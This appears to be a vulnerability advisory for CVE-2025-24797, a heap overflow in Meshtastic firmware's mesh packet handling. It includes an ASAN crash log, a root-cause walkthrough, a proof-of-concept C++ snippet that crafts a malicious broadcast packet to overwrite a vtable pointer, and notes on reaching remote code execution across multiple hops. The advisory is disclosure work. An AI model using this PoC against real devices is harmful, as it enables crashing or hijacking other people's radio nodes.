# CVE-2025-24797 [CVE-2025-24797 Detail - NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-24797) ### Summary A fault in the handling of mesh packets containing invalid protobuf data can result in an attacker-controlled buffer overflow, allowing an attacker to hijack execution flow, potentially resulting in remote code execution. This attack does not require authentication or user interaction, as long as the target device rebroadcasts packets on the default channel. ### Root cause The vulnerability was originally discovered using fuzzing, resulting in the following ASAN abort: ``` DEBUG | 22:27:03 0 State: BOOT DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3) DEBUG | 22:27:03 0 Packet RX: 845ms DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3) DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8) DEBUG | 22:27:03 0 [Router] Expand short PSK #1 DEBUG | 22:27:03 0 [Router] Use AES128 key! ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0 ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)! WARN | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8! DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3) DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1 INFO | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25 DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3) INFO | 22:27:03 0 [Router] Rebroadcast received floodmsg DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64) DEBUG | 22:27:03 0 [Router] Set random delay before tx DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3) DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3) ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256) DEBUG | 22:27:03 0 [Router] Module 'routing' considered DEBUG | 22:27:03 0 [SimRadio] delay done DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64) ================================================================= ==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148 READ of size 10320 at 0x6130000006e0 thread T0 #0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 #1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621 #2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261 #3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231 #4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82 #5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89 #6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85 #7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59 #8 0x55f23a154893 in loop src/main.cpp:1259 #9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226 #10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392 #12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4) 0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0) allocated by thread T0 here: #0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71 #2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38 #3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60 #4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97 #5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141 #6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26 #7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100 #8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132 #9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618 #10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681 #11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71 #12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79 #13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85 #14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59 #15 0x55f23a154893 in loop src/main.cpp:1259 #16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226 #17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy Shadow bytes around the buggy address: 0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa 0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa 0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa 0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==6992==ABORTING ``` The corruption occurs when a packet is sent during the memcpy operation, copying the encrypted bytes into the `radioBuffer`. The field `p->encrypted.size` has a value larger than the size of `radioBuffer.payload` (240 bytes). ```cpp // src/mesh/RadioInterface.cpp size_t RadioInterface::beginSending(meshtastic_MeshPacket *p) { // ... memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size); // ... } ``` The cause for the invalid size value is a logical bug which occurs when decoding packets. The decrypted packet data is decoded using `pb_decode_from_bytes`, with the destination being the received packet struct `p`. ```cpp // src/mesh/Router.cpp bool perhapsDecode(meshtastic_MeshPacket *p) { // ... // Try to decrypt the packet if we can crypto->decrypt(p->from, p->id, rawSize, bytes); // printBytes("plaintext", bytes, p->encrypted.size); // Take those raw bytes and convert them back into a well structured protobuf we can understand memset(&p->decoded, 0, sizeof(p->decoded)); if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) { LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id); } else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) { LOG_ERROR("Invalid portnum (bad psk?)!"); } else { decrypted = true; break; } // ... } ``` If the decoding is successful, `decrypted` is set to true and `which_payload_variant` is correctly updated to `meshtastic_MeshPacket_decoded_tag`. ```cpp // src/mesh/Router.cpp bool perhapsDecode(meshtastic_MeshPacket *p) { // ... if (decrypted) { // parsing was successful p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded // ... ``` However, if the decoding is unsuccessful, `which_payload_variant` is not updated. Because `p->encrypted` and `p->decoded` are implemented using a union and their memory areas overlap, the data in `p->encrypted` has been corrupted with the partial data decoded by `pb_decode_from_bytes` and is unsafe to use. Because nodes rebroadcast received packets by default the corrupted packet is scheduled to be sent. In `RadioInterface::beginSending` the code correctly asserts that the packet is in encrypted format, and assumes that `p->encrypted` is safe to access, leading to the corrupted size being passed to memcpy, potentially overflowing the buffer. ### PoC This is some example code that shows how a to send a malicious message which triggers the vulnerability. ```cpp uint32_t from = 2; uint32_t id = 2; meshtastic_Data d = meshtastic_Data_init_default; // We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field uint16_t memcpy_size = sizeof(meshtastic_Data); d.portnum = static_cast(memcpy_size); // This is the data written outside of radioBuffer d.dest = 0xAAAAAAAA; // Overwrites virtual table pointer d.source = 0xBBBBBBBB; d.request_id = 0xCCCCCCCC; d.reply_id = 0xDDDDDDDD; d.emoji = 0xEEEEEEEE; d.has_bitfield = false; byte internal_data[256] = {}; size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d); // Cause deserialization to fail by adding a stray byte assert(internal_size < sizeof(internal_data)); internal_data[internal_size] = 0xFF; internal_size += 1; channels.setActiveByIndex(0); crypto->encryptPacket(from, id, internal_size, internal_data); meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default; p.from = from; p.to = 4294967295; // Broadcast p.id = id; p.channel = 0x8; p.hop_limit = 3; p.hop_start = 3; p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag; p.encrypted.size = internal_size; memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes)); meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p); rIf->send(allocPacket); ``` And here's the receiving node crashing while trying to load our overwritten vtable pointer: ![402298428-01fcba5c-ca4c-4ad9-824c-2747c540b585](https://github.com/user-attachments/assets/1c753195-5ae6-41e3-b4d7-802d63e72ee8) ### Impact The attacker has control over the size and contents of the buffer because the written data is based on the encrypted packet data which is being decoded. By modifying the size of the memcpy an attacker can corrupt heap data structures, leading to a denial of service. The attacker also has control over a limited part of the overflowed area, as the `meshtastic_Packet` struct is larger than the destination `RadioBuffer`. After the `radioBuffer` three struct fields follow: `int8_t power; float savedFreq; uint32_t savedChannelNum`. These are not used during operation and can be safely overwritten. After these fields, the virtual table pointer for `concurrency::NotifiedWorkerThread` follows. By overwriting this pointer, an attacker can arbitrarily redirect execution the next time the thread is run, potentially allowing remote code execution. We estimate a working RCE exploit to be fairly simple on embedded systems without ASLR or memory execution protection, as the attacker can include shellcode directly inside the packet. If memory execution protections are in place, an attacker might be able to achieve RCE or other destructive behavior by calling existing methods inside the firmware. If ASLR is present, we assume another vulnerability is required to leak addresses. This vulnerability can be abused even on nodes which are multiple hops away. Because the packet is rebroadcasted, an attacker can nest multiple stages of the malformed encrypted data, where the initial stages overwrite the size field with valid values. The data will be unpacked on every hop until the final overwrite is triggered.